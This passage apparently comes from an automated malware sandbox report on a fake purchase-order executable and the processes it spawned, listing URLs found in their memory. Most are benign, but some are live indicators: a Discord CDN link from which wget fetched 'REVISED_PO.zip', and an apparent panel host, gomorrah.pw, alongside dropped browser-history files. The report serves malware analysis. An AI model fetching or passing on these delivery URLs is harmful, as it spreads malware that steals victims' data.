Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.253547729.000000000589D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.253554671.0000000000F8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com-
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.253547729.000000000589D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com0
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255391624.0000000005862000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255249826.000000000586C000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255219711.0000000005868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255559192.0000000005863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/H
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255391624.0000000005862000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnBolG-k
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255391624.0000000005862000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnF#k
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255641408.0000000005869000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255559192.0000000005863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnU
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255264548.0000000005862000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnd
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255241146.0000000005869000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255249826.000000000586C000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255219711.0000000005868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnl
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.261093728.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.261093728.0000000005867000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.260959356.0000000005872000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.260959356.0000000005866000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.260959356.0000000005866000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/a)
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.260959356.0000000005872000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/j
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.261093728.0000000005867000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.260959356.0000000005866000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256738851.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/&
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256840057.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256738851.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp//
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/4
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/=
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256738851.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/B
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256840057.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256689159.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257672116.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257595257.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256738851.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/K
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256840057.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256840057.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256689159.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256738851.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Z
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/a
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256840057.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/j
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256840057.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.258031293.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257978784.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257672116.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257595257.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp//
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256840057.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/B
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/u
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256840057.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256689159.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256738851.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/o
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257672116.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257595257.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/u
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.253185765.0000000005883000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.253175734.0000000005884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.come
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.253175734.0000000005884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.coms
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257672116.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257595257.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255264548.0000000005862000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.krcom-d
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255781468.0000000005862000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255814216.0000000005864000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.&5
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255781468.0000000005862000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255814216.0000000005864000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.comZ5
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: wget.exe, 00000002.00000002.246796754.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp, cmdline.out.0.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zip
Source: wget.exe, 00000002.00000002.246820296.0000000002AB8000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000003.246523646.0000000002AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zipkb
Source: wget.exe, 00000002.00000002.246796754.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zipsb
Source: wget.exe, 00000002.00000003.246509431.0000000002B01000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000002.246859935.0000000002B01000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000002.246796754.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.ziptb
Source: wget.exe, 00000002.00000002.246796754.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zipvb
Source: RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.562996880.00000000042E1000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000444E000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004483000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BBD4EA3DA
Source: RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043D4000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.529034520.0000000000482000.00000040.00000400.00020000.00000000.sdmp, update_232209.exe, 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000002.477974900.00000285A22EB000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.0000000003222000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000031C3000.00000004.00000800.00020000.00000000.sdmp, info.txt.8.dr	String found in binary or memory: https://gomorrah.pw
Source: RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043D4000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043D4000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043D4000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.
Source: RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004441000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000449D000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000446B000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.8.dr	String found in binary or memory: https://support.google.com/chrome/answer/111996?visit_id=637962485686793996-3320600880&p=update_erro
Source: RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004441000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000449D000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000446B000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.8.dr	String found in binary or memory: https://support.google.com/chrome/answer/6315198?product=
Source: RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome?p=upda
Source: RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000449D000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.8.dr	String found in binary or memory: https://support.google.com/chrome?p=update_error
Source: RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004441000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000446B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome?p=update_errorFix
Source: RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/instal
Source: RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004441000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000449D000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000446B000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.8.dr	String found in binary or memory: https://support.google.com/installer/?product=
Source: RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043D4000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004483000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000449D000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.8.dr	String found in binary or memory: https://www.google.com/intl/en_uk/chrome/
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.562996880.00000000042D4000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004441000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000446B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en_uk/chrome/Google
